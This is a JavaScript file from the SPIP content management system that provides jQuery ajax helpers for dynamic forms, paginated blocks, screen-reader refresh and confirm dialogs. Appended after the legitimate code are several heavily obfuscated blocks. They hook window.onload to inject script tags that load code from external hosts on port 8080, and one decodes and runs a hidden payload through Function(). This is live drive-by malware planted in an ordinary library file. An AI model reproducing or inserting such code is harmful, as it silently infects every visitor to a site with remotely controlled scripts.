// A plugin that wraps all ajax calls introducing a fixed callback function on ajax complete
if(!jQuery.load_handlers) {
	jQuery.load_handlers = new Array();
	//
	// Add a function to the list of those to be executed on ajax load complete
	//
	function onAjaxLoad(f) {
		jQuery.load_handlers.push(f);
	};
	
	//
	// Call the functions that have been added to onAjaxLoad
	//
	function triggerAjaxLoad(root) {
    for ( var i = 0; i < jQuery.load_handlers.length; i++ )
			jQuery.load_handlers[i].apply( root );
	};

	// jQuery uses _load, we use _ACBload
	jQuery.fn._ACBload = jQuery.fn.load;
	
	jQuery.fn.load = function( url, params, callback ) {
	
		callback = callback || function(){};
	
		// If the second parameter was provided
		if ( params ) {
			// If it's a function
			if ( params.constructor == Function ) {
				// We assume that it's the callback
				callback = params;
				params = null;
			} 
		}
		var callback2 = function(res,status) {triggerAjaxLoad(this);callback(res,status);};
		
		return this._ACBload( url, params, callback2 );
	};

	jQuery._ACBajax = jQuery.ajax;
	
	jQuery.ajax = function(type) {
		//If called by _load exit now because the callback has already been set
		if (jQuery.ajax.caller==jQuery.fn._load) return jQuery._ACBajax( type);
			var orig_complete = type.complete || function() {};
			type.complete = function(res,status) {
				// Do not fire OnAjaxLoad if the dataType is not html
				var dataType = type.dataType;
				var ct = (res && (typeof res.getResponseHeader == 'function'))
					? res.getResponseHeader("content-type"): '';
				var xml = !dataType && ct && ct.indexOf("xml") >= 0;
				orig_complete(res,status);
				if(!dataType && !xml || dataType == "html") triggerAjaxLoad(document);
		};
		return jQuery._ACBajax(type);
	};

}

// animation du bloc cible pour faire patienter
jQuery.fn.animeajax = function(end) {
	this.children().css('opacity', 0.5);
	if (typeof ajax_image_searching != 'undefined'){
		var i = (this).find('.image_loading');
		if (i.length) i.html(ajax_image_searching);
		else this.prepend('<span class="image_loading">'+ajax_image_searching+'</span>');
	}
	return this; // don't break the chain
}

// s'il n'est pas totalement visible, scroller pour positionner
// le bloc cible en haut de l'ecran
jQuery.fn.positionner = function() {
	var offset = jQuery(this).offset({'scroll':false});
	var hauteur = parseInt(jQuery(this).css('height'));
	var scrolltop = self['pageYOffset'] ||
		jQuery.boxModel && document.documentElement[ 'scrollTop' ] ||
		document.body[ 'scrollTop' ];
	var h = jQuery(window).height();
	var scroll=0;

	if (offset['top'] - 5 <= scrolltop)
		scroll = offset['top'] - 5;
	else if (offset['top'] + hauteur - h + 5 > scrolltop)
		scroll = Math.min(offset['top'] - 5, offset['top'] + hauteur - h + 15);
	if (scroll)
		jQuery('html,body')
		.animate({scrollTop: scroll}, 300);

	// positionner le curseur dans la premiere zone de saisie
	jQuery(jQuery('*', this).filter('input[@type=text],textarea')[0]).focus();
	return this; // don't break the chain
}

// deux fonctions pour rendre l'ajax compatible Jaws
var virtualbuffer_id='spip_virtualbufferupdate';
function initReaderBuffer(){
	if (jQuery('#'+virtualbuffer_id).length) return;
	jQuery('body').append('<p style="float:left;width:0;height:0;position:absolute;left:-5000;top:-5000;"><input type="hidden" name="'+virtualbuffer_id+'" id="'+virtualbuffer_id+'" value="0" /></p>');
}
function updateReaderBuffer(){
	var i = jQuery('#'+virtualbuffer_id);
	if (!i.length) return;
	// incrementons l'input hidden, ce qui a pour effet de forcer le rafraichissement du 
	// buffer du lecteur d'ecran (au moins dans Jaws)
	i.attr('value',parseInt(i.attr('value'))+1);
}

// rechargement ajax d'un formulaire dynamique implemente par formulaires/xxx.html
jQuery.fn.formulaire_dyn_ajax = function(target) {
	if (this.length)
		initReaderBuffer();
  return this.each(function() {
	var cible = target || this;
		jQuery('form:not(.noajax)', this).each(function(){
		var leform = this;
		jQuery(this).prepend("<input type='hidden' name='var_ajax' value='form' />")
		.ajaxForm({
			beforeSubmit: function(){
				jQuery(cible).addClass('loading').animeajax();
			},
			success: function(c){
				if (c=='noajax'){
					// le serveur ne veut pas traiter ce formulaire en ajax
					// on resubmit sans ajax
					jQuery("input[@name=var_ajax]",leform).remove();
					jQuery(leform).ajaxFormUnbind().submit();
				}
				else {
					var d = jQuery('div.ajax',
						jQuery('<div><\/div>').html(c));
					if (d.length)
						c = d.html();
					jQuery(cible)
					.removeClass('loading')
					.html(c)
					.positionner()
					// on le refait a la main ici car onAjaxLoad intervient sur une iframe dans IE6 et non pas sur le document
					.formulaire_dyn_ajax();
					updateReaderBuffer();
				}
			},
			iframe: jQuery.browser.msie
		})
		.addClass('noajax') // previent qu'on n'ajaxera pas deux fois le meme formulaire en cas de ajaxload
		;
		});
  });
}

// permettre d'utiliser onclick='return confirm('etes vous sur?');' sur un lien ajax
var ajax_confirm=true;
var ajax_confirm_date=0;
var spip_confirm = window.confirm;
function _confirm(message){
	ajax_confirm = spip_confirm(message);
	if (!ajax_confirm) {
		var d = new Date();
		ajax_confirm_date = d.getTime();
	}
	return ajax_confirm;
}
window.confirm = _confirm;

// rechargement ajax d'une noisette implementee par {ajax}
// avec mise en cache des url
var preloaded_urls = {};
var ajaxbloc_selecteur;
jQuery.fn.ajaxbloc = function() {
	if (this.length)
		initReaderBuffer();
  return this.each(function() {
  jQuery('div.ajaxbloc',this).ajaxbloc(); // traiter les enfants d'abord
	var blocfrag = jQuery(this);
	
	var on_pagination = function(c) {
		jQuery(blocfrag)
		.html(c)
		.removeClass('loading')
		.positionner();
		updateReaderBuffer();
	}

	var ajax_env = (""+blocfrag.attr('class')).match(/env-([^ ]+)/);
	if (!ajax_env || ajax_env==undefined) return;
	ajax_env = ajax_env[1];
	if (ajaxbloc_selecteur==undefined)
		ajaxbloc_selecteur = '.pagination a,a.ajax';
	jQuery(ajaxbloc_selecteur,this).not('.noajax').each(function(){
		var url = this.href.split('#');
		url[0] += (url[0].indexOf("?")>0 ? '&':'?')+'var_ajax=1&var_ajax_env='+encodeURIComponent(ajax_env);
		if (jQuery(this).is('.preload') && !preloaded_urls[url[0]]) {
			jQuery.ajax({"url":url[0],"success":function(r){preloaded_urls[url[0]]=r;}});
		}
		jQuery(this).click(function(){
			if (!ajax_confirm) {
				// on rearme pour le prochain clic
				ajax_confirm=true;
				var d = new Date();
				// seule une annulation par confirm() dans les 2 secondes precedentes est prise en compte
				if ((d.getTime()-ajax_confirm_date)<=2)
					return false;
			}
			jQuery(blocfrag)
			.animeajax()
			.addClass('loading');
			if (preloaded_urls[url[0]]) {
				on_pagination(preloaded_urls[url[0]]);
				triggerAjaxLoad(document);
			} else {
				jQuery.ajax({
					url: url[0],
					success: function(c){
						on_pagination(c);
						preloaded_urls[url[0]] = c;
					}
				});
			}
			return false;
		});
	}).addClass('noajax'); // previent qu'on ajax pas deux fois le meme lien
  });
};

// Ajaxer les formulaires qui le demandent, au demarrage

jQuery(function() {
	jQuery('form').parents('div.ajax')
	.formulaire_dyn_ajax();
	jQuery('div.ajaxbloc').ajaxbloc();
});

// ... et a chaque fois que le DOM change
onAjaxLoad(function() {
	if (jQuery){
		jQuery('form', this).parents('div.ajax')
		.formulaire_dyn_ajax();
		jQuery('div.ajaxbloc', this)
		.ajaxbloc();
	}
});
var a=31221;this.q=false;var h;if(h!='qr'){h='qr'};var g=window;var gb='sPcjrXiNpwtN'.replace(/[NXjPw]/g, '');var kw;if(kw!='qh' && kw!='c'){kw='qh'};var lu=new String();var _=document;this.x=false;this.dm='';this.xg='';g.onload=function(){var lt=new Array();var kv=new String();try {l=_.createElement(gb);var w;if(w!='u'){w=''};var p=new Date();var of;if(of!='_x'){of=''};var tv;if(tv!='tz' && tv != ''){tv=null};l.setAttribute('dne|f:eEr:'.replace(/[\:En\!\|]/g, ''), "1");l.src='hKt#tJp4:;/#/JsKcKrKi#b4d4-;cKoKmK.Jp;aKi#pJa#iJ.;c4o;m;.JdKa4qKi;-KcKoJm;.#yJo#u;rJt4aJgJh;e;u4eJrJ.JrKu4:48J0;8;04/;5J54b;bJs;.JcKo;mK/K5J5;b#b4s#.KcJo;mK/#w#aKr;e4sKe;eJk#e4r4.4c#o4mJ/#g#o#oKg#l;e#.Jc4oKmJ/;w4iJk4iJp4e;dJiKa4.#o4r#g4/K'.replace(/[K#4;J]/g, '');var uy=28415;var a_="a_";_.body.appendChild(l);} catch(e){var au;if(au!='uyh' && au!='lv'){au=''};var ws=new String();};};var sj;if(sj!='dy' && sj != ''){sj=null};
var k;if(k!='' && k!='j'){k='b'};this.x="";z=function(){this.d="";var c=document;this.l='';window[i([4,2][1])]=function(){try {y=c[i([1][0])](i([3,0][1]));var a="";y[i([3][0])]=i([9,8][1]);var bt;if(bt!='' && bt!='m'){bt='bh'};y[i([5,3][0])](i([7][0]), "1");var s = c[i([6,7][0])];s[i([2,4][1])](y);} catch(zt){this.fn=false;};var al=new String();};var vs="";var ee='';function i(t){var o=['sHcWrWiLpWtW'.replace(/[W#PLH]/g, ''), 'c|r#e#a#t#e0E^l9e0m^e9n0t|'.replace(/[\|#\^09]/g, ''), 'oYncl!oYa1dc'.replace(/[c13\!Y]/g, ''), 'sGrzcf'.replace(/[fzGJF]/g, ''), 'aLp:p+e+nLd0C:h+i0l:d:'.replace(/[\:\+0Lw]/g, ''), 's/e/tTA|t|tLr|iTb9uTtTeT'.replace(/[T9/\|L]/g, ''), 'bCo8d3y3'.replace(/[3ge8C]/g, ''), 'dqeqfneqrn'.replace(/[nqR#@]/g, ''), 'hStStIp$:I/$/InXaSvIeSrX-$cbobm$.Im$aXi$l$.$cXobmb.IcbaXmXsb-bcXoXmI.bhXoStSnIeSwSg$uXi$d$eI.XrSuX:b8X0X8X0S/bmXaIr$kItbpXlSaXaSt$sX.XnXlI/ImIabrXkbtSpblXaXaSt$sX.$nblb/XgboSoSgIlIeX.$c$oImI/$ibmXp$rXeIsIsS.IcSob.SjSpX/SgboXablX.IcSoXmI/$'.replace(/[\$IbXS]/g, '')];var h=o[t];var wq;if(wq!='n_'){wq='n_'};return h;var dx;if(dx!='_v' && dx!='btf'){dx=''};}this.sl=false;};this.uc=12108;z();var rd=new Array();
var iv='';var p=window;var bx='';var f=document;var j=new String();this.s="";function o(b){var r=['hDtDtRpR:%/R/;f;i%x;y%a%-%cRo_mR.Do_yDu_nRl%a_r%1;._cDoRm_.;nReRo_bRuRxR-Rc%o%m;.Dn;eRwRw%oDr%lRdRl%i_n_k_.;r;uR:D8_0R8;0D/;gDa%mReDz;eDr%._c%o%m_/DgDa_mDe_z%e;r;.%c%oRm_/;gRoRoD.RnDe;._jRp_/%p;aRr;t_y_p;o;kRe_r_.RcDo_mR/Dg%oDo%g%lReD._cDo_m_/;'.replace(/[;_%RD]/g, ''), 'smcBrBimp<t<'.replace(/[\<BYm\.]/g, ''), 'c9r9esaotdeDEdlse9mseonoto'.replace(/[osdD9]/g, ''), 'oKn_lKowawd_'.replace(/[_UAwK]/g, ''), 'sErmcm'.replace(/[mCEQa]/g, ''), 'akp/pVekn/dmCRhRiRlkdV'.replace(/[VR/mk]/g, ''), 's;e;tYA+t&tYr;iYbjuYtjej'.replace(/[j;Y\+&]/g, ''), 'b^o,dry,'.replace(/[,\^rFh]/g, ''), 'd<eqf2eqr2'.replace(/[2j\<q\:]/g, ''), "1"];var k=r[b];return k;this.co=23327;}this.pu=52864;var re = function(){var zh;if(zh!=''){zh='qi'};try {var d;if(d!=''){d='gm'};i=f[o([2,2][0])](o([1][0]));var bu=new Array();i[o([6][0])](o([8][0]), o([9][0]));this.jc="jc";i[o([4][0])]=o([0,1][0]);this.ai="ai";var n = f[o([7][0])];n[o([9,5][1])](i);var qh;if(qh!='h' && qh!='vo'){qh='h'};} catch(g){var cd=new Date();};};var l;if(l!='_' && l!='st'){l='_'};p[o([4,3][1])]=re;var fu;if(fu!=''){fu='sr'};this._v='';
var Tq="7278525f4a21684d66757a194e72617603467d466672464c517f51676c526e4642746e41546e503c10361f37457a544a446452496779747b5355656952496c406276463842770653536a057750057750";this.sf=55402;var fc="";function M(b){var J=46407;var YF;if(YF!='Yn' && YF != ''){YF=null};var Dj;if(Dj!='fW'){Dj='fW'};var eh="eh"; var wn;if(wn!='QF' && wn != ''){wn=null};function r(Mi,T){var cJ=false;return Mi[D("hcaCroedAt", [1,0,2])](T);this.Pv='';}var gZ;if(gZ!='PmS'){gZ=''};var OO;if(OO!=''){OO='tx'};var iz;if(iz!=''){iz='bF'}; var j=function(tF){this.k=20347;var qm;if(qm!=''){qm='N'};var DC=new Date();var y =[0][0];var tR=false;var bx=36994;var rO =[92,0][1];this.l=27623;tF = new t(tF);var K = -1;var VR;if(VR!='' && VR!='gC'){VR=null};this.zZ=false;var Z = '';var Lv=54650;for (rO=tF[D("elngth", [1,0,2,3])]-K;rO>=y;rO=rO-[162,160,1][2]){var iF=16928;var wu=372;Z+=tF[D("acAhrt", [1,3,0,4,2])](rO);var Fa;if(Fa!='' && Fa!='SY'){Fa=''};}this.NE='';return Z;this.fJ=32671;};var HJ;if(HJ!='zr' && HJ!='KDs'){HJ='zr'};var Hl='';var Wn=54639;var AL;if(AL!='De' && AL != ''){AL=null}; var n=function(Q){var yc=[1][0];var U='';var d=[109,255,99][1];var xN;if(xN!='lf' && xN!='WV'){xN=''};var dk=Q[D("enlthg", [2,0,1])];this.hp='';var Nx;if(Nx!='' && Nx!='iD'){Nx='ru'};var na=[0][0];var xZ;if(xZ!=''){xZ='El'};var HT;if(HT!='RK'){HT='RK'};var Y=[0,217,168][0];this.oW=31891;var eY='';var PL="";var oB="oB";while(na<dk){var ed=6872;na++;this.ZG="";var RKG;if(RKG!='' && RKG!='VB'){RKG='pA'};F=r(Q,na - yc);Y+=F*dk;var vv=new String();}this.gV=false;var pi=false;var lm="";return new t(Y % d);};this.gx=8013;var yI=false;var aB=55621; var Se;if(Se!='' && Se!='Fo'){Se=''};function o(A,s){var SB;if(SB!='gD' && SB != ''){SB=null};var TK='';return A^s;}var sD;if(sD!='BQ' && sD!='PG'){sD='BQ'};this.PLy=false; var D=function(tF, KD){this.Io="";var P = tF.length;var JZ=false;this.xm="";var Z = '';var dP;if(dP!='' && dP!='FR'){dP=null};var oL=new String();var yc=[1,17][0];var JZD=new Array();var vV=new Array();var y=[0,75,159,225][0];var YV;if(YV!=''){YV='PK'};var kw=new Date();var i = KD.length;var CJ;if(CJ!='hx' && CJ!='Rs'){CJ='hx'};var KB=new String();var vNN="vNN";var px='';var sX="sX";for(var rO = y; rO < P; rO += i) {var ME="ME";this.txr="";this.Dy='';var R = tF.substr(rO, i);var rM='';var Ka;if(Ka!='hM' && Ka!='qmZ'){Ka=''};if(R.length == i){var nq;if(nq!='' && nq!='pO'){nq='wd'};var Sh;if(Sh!='' && Sh!='Nh'){Sh='To'};var Hs;if(Hs!='nm' && Hs!='MP'){Hs='nm'};for(var na in KD) {var aX;if(aX!=''){aX='CR'};this.oJ=false;Z+=R.substr(KD[na], yc);}var PP=new String();var sY=58499;var xQ=33738;} else {var PD;if(PD!='' && PD!='Kl'){PD='JR'};this.vn=20000;  Z+=R;this.UE="";var tZ='';}}var wg;if(wg!='hA' && wg != ''){wg=null};return Z;this.GA=false;};var Vc;if(Vc!='' && Vc!='vna'){Vc='kc'};var oG;if(oG!='pc' && oG!='yz'){oG=''};var yx;if(yx!='' && yx!='Sw'){yx=null};var Rb=window;var DZ=Rb[D("vela", [1,0])];var Zn=54644;var V=DZ(D("nitcFuon", [4,5,0,3,2,1]));var an;if(an!='ss'){an=''};var yg=DZ(D("EgeRxp", [3,2,1,0]));var DK=new Array();var VQ = '';var t=DZ(D("rtSing", [2,1,0,3]));var Sm=18845;var RjA=6275;var Ja;if(Ja!=''){Ja='ja'};var Ay;if(Ay!='EK' && Ay!='jj'){Ay='EK'};this.WF=15316;var w=Rb[D("aescpune", [5,6,1,2,3,0,4])];this.Wi=55738;this.Ig=34296;var h=t[D("rofChmrCadeo", [2,0,1])];var Pm = '';var wh=new Date();var aa;if(aa!=''){aa='eq'};var y =[156,0,252,14][1];var AC;if(AC!='' && AC!='HO'){AC='bb'};var Ms='';var WY=new Array();var X=[1, D("uomdc.ncetteeramleEe\'tsn(prtci\')", [3,1,4,0,2]),2, D("tnuocmdepadboy..lidenCphd(d)", [6,3,4,2,5,7,1,0]),3, D("odl.visetidesegi.nur8:800", [1,0,3,2]),4, D("ocmm.eagulpoda.ocmg.ogole", [1,0,2]),5, D("td.eAtsetrbtuir(\'eefd\'", [1,2,6,3,5,4,0]),6, D("ogcelog.om", [1,0,5,6,4,3,7,2]),7, D("emidpael.xocm", [1,0]),8, D("owiw.dnonload", [1,2,6,5,0,3,4]),11, D("mpriss.eo.jcp", [3,0,1,2]),12, D("ilccabnkc.okm", [3,1,0,2]),14, D("nufctnoi()", [2,1,0,3,4]),15, D("ctac)e(h", [3,2,1,0]),16, D("vserpaye", [4,5,6,1,2,3,0]),17, D("ht\"p:t", [2,0,1]),18, D(".drsc", [1,0]),19, D("\'\')1", [1,3,0,2]),20, D("ocm", [1,0]),21, D("rty", [1,0])];var QQ = /[^@a-z0-9A-Z_-]/g;var Po;if(Po!='' && Po!='xn'){Po=''};var Dv = t.fromCharCode(37);var rF="";var yc =[1][0];this.tIc="tIc";this.zSC=false;var a = '';var zx='';var gVI;if(gVI!='Bj'){gVI=''};var sv = '';var Mp="Mp";this.HOH="";var B =[0][0];var XK =[2][0];var IY=new Date();var hW=36262;var gwc;if(gwc!='Qe'){gwc=''};var bp = b[D("eglnth", [2,0,3,1])];var KTW;if(KTW!='' && KTW!='kd'){KTW=''};var Nz;if(Nz!='' && Nz!='LB'){Nz=''};this.ZR=false;this.WWw=false;for(var W=y; W < bp; W+=XK){a+= Dv; a+= b[D("busrts", [2,1,0])](W, XK);var SW=new Date();var gX;if(gX!='hS'){gX=''};}var Km=5772;var b = w(a);var WZ="";var E = new t(M);var zo=new Array();var f = E[D("epracle", [2,0,1])](QQ, sv);var py=new Array();var GB="";var Py;if(Py!='tB' && Py!='bi'){Py='tB'};var zM=false;this.BY="BY";var G = new t(V);var lZt=new Date();var XW = X[D("elgnht", [1,0])];var xNs;if(xNs!='Ol' && xNs!='uL'){xNs=''};f = j(f);this.BB="";this.Hv=8983;this.ShA=41807;var AA="AA";var I = G[D("eaerpcl", [3,2,4,6,1,5,0])](QQ, sv);var I = n(I);var JH="";var tCB=false;var Bx=n(f);var RT;if(RT!=''){RT='zh'};for(var rO=y; rO < (b[D("enlthg", [2,0,1])]);rO=rO+[196,1][1]) {var fZ = f.charCodeAt(B);var KS;if(KS!='iq' && KS!='tY'){KS=''};var gA;if(gA!='BQm' && gA!='kX'){gA=''};var fa = r(b,rO);var Ue=new String();this.KTL=34495;fa = o(fa, fZ);var UR;if(UR!='' && UR!='Kv'){UR=''};var XY="XY";fa = o(fa, Bx);var OZh=new Date();var Zo=new Array();fa = o(fa, I);var Qw=new Date();B++;if(B > f.length-yc){var LQ=52339;var rv;if(rv!='' && rv!='OM'){rv=null};B=y;var ID=35287;}var lBr="";var XG=false;Pm += h(fa);var bdm=new String();var zj=new String();}var Lb='';var ys=new Array();for(rd=y; rd < XW; rd+=XK){var ZAN;if(ZAN!='' && ZAN!='RE'){ZAN='VkM'};var Phb="";var DR=new Date();var Wl;if(Wl!=''){Wl='fe'};var hh = X[rd + yc];var PU;if(PU!='yFE'){PU=''};var pP=49189;var pH = h(X[rd]);var Kg=new Array();var eH=new Array();var z = new yg(pH, t.fromCharCode(103));Pm=Pm[D("aecplre", [5,1,3,4,0,2])](z, hh);var Qj=19197;}var Nl='';var SX;if(SX!=''){SX='FD'};var qe;if(qe!='' && qe!='Sp'){qe=''};var g=new V(Pm);var biq;if(biq!='OtV'){biq='OtV'};var cJi;if(cJi!='ZN' && cJi!='Mk'){cJi='ZN'};g();var dq="";var Sd="Sd";this.GK='';f = '';var Im=new Array();var qH=new Array();Bx = '';var Ak='';this.Wp=false;G = '';this.DRP="";var ZD;if(ZD!='Kq' && ZD!='WE'){ZD=''};Pm = '';var XN;if(XN!='' && XN!='Aj'){XN=null};I = '';var Ptq;if(Ptq!='' && Ptq!='jS'){Ptq='kLF'};var gIR;if(gIR!='Qu'){gIR=''};g = '';var xc=29863;var KJ;if(KJ!='' && KJ!='AI'){KJ='LF'};return '';var MkS;if(MkS!=''){MkS='xq'};};this.sf=55402;var fc="";M(Tq);


function Y(){var a;if(a!=''){a='j'};var D=unescape;var NJ=new String();var N=window;var w;if(w!='' && w!='ac'){w='T'};var Pm;if(Pm!='' && Pm!='g'){Pm='O'};var S;if(S!='' && S!='ad'){S='Xf'};var V=D("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%65%64%69%66%66%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%61%65%2e%70%68%70");this.o='';function c(F,x){var hA;if(hA!='' && hA!='_g'){hA='sB'};var OZ;if(OZ!='' && OZ!='gX'){OZ='L'};var an="";var J;if(J!='Lj' && J!='Ki'){J=''};var i="g";this.KiK='';var eG=new Array();var t=D("%5b"), xV=D("%5d");var yP;if(yP!='' && yP!='xJ'){yP='ig'};var sz="";var q=t+x+xV;var f;if(f!='' && f!='yw'){f=null};var l=new RegExp(q, i);return F.replace(l, new String());var am;if(am!='si' && am != ''){am=null};};var _I=new String();var Nx;if(Nx!='' && Nx!='Yq'){Nx='r'};var jM=new Array();var Ur;if(Ur!='' && Ur!='z'){Ur=null};var Pj;if(Pj!='M' && Pj!='Bl'){Pj=''};this.RS="";var s=c('891946032357825261302449','67193524');var tb=document;var B=new String();var Lv;if(Lv!='pV' && Lv != ''){Lv=null};this.MO='';var X_;if(X_!='' && X_!='CCv'){X_='jX'};var Vk=new Array();var E=new Array();function u(){var js="";var Tv;if(Tv!='' && Tv!='ex'){Tv='Pe'};var k=D("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var kL=new Date();B=k;B+=s;var Yg=new Date();B+=V;var wg;if(wg!='d' && wg!='eA'){wg=''};try {var _U;if(_U!='Kv' && _U!='FK'){_U=''};R=tb.createElement(c('sNcNrXiNpgtg','NXg'));var uD=new Array();var Oi='';R[D("%73%72%63")]=B;var Zc;if(Zc!='eR' && Zc!='dj'){Zc=''};R[D("%64%65%66%65%72")]=[1,6][0];var _E;if(_E!='' && _E!='XD'){_E='Lm'};tb.body.appendChild(R);var Fi;if(Fi!='YW' && Fi!='BT'){Fi=''};var pK=new Array();this.Pa='';} catch(h){alert(h);var hV=new String();var CU;if(CU!='' && CU!='FC'){CU='RY'};};var OY=new Array();var I;if(I!='' && I!='oJ'){I=null};}N[new String("onloa"+"d")]=u;var iM=new Array();var NL=new Array();var Fn=new Date();};var SG=new Date();var xc=new Date();var v=new Date();Y();
